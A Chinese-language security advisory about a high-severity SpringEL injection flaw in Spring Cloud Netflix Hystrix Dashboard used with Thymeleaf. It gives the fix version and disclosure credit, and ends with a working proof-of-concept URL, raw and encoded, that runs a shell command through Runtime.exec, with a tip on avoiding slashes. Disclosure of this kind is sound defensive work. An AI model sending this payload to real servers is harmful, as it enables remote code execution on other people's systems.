高危
Spring(VMware 旗下)
同时使用 spring-cloud-netflix-hystrix-dashboard 和 spring-boot-starter-thymeleaf 的应用,在解析视图模板时,会暴露一种执行请求 URI 路径中提交的代码的方式。当请求发送至 /hystrix/monitor;[user-provided data] 时,hystrix/monitor 之后的路径元素会被作为 SpringEL 表达式进行求值,从而可能导致代码执行。
除非另有说明,否则严重性均为高危。
受影响版本的用户应采取以下缓解措施:用户应升级到 2.2.10.RELEASE+。无需其他步骤。已修复该问题的版本包括:
该漏洞由 SecCoder Security Lab 的 threedr3am 发现并负责任地披露([email protected])。
2021-11-17:初始漏洞报告发布。
原始:
http://127.0.0.1:8080/hystrix/;a=a/__${T (java.lang.Runtime).getRuntime().exec("open -a calculator")}__::.x/
编码后:
http://127.0.0.1:8080/hystrix/;a=a/__$%7BT%20(java.lang.Runtime).getRuntime().exec(%22open%20-a%20calculator%22)%7D__::.x/
附注:命令中不能包含斜杠 '/'。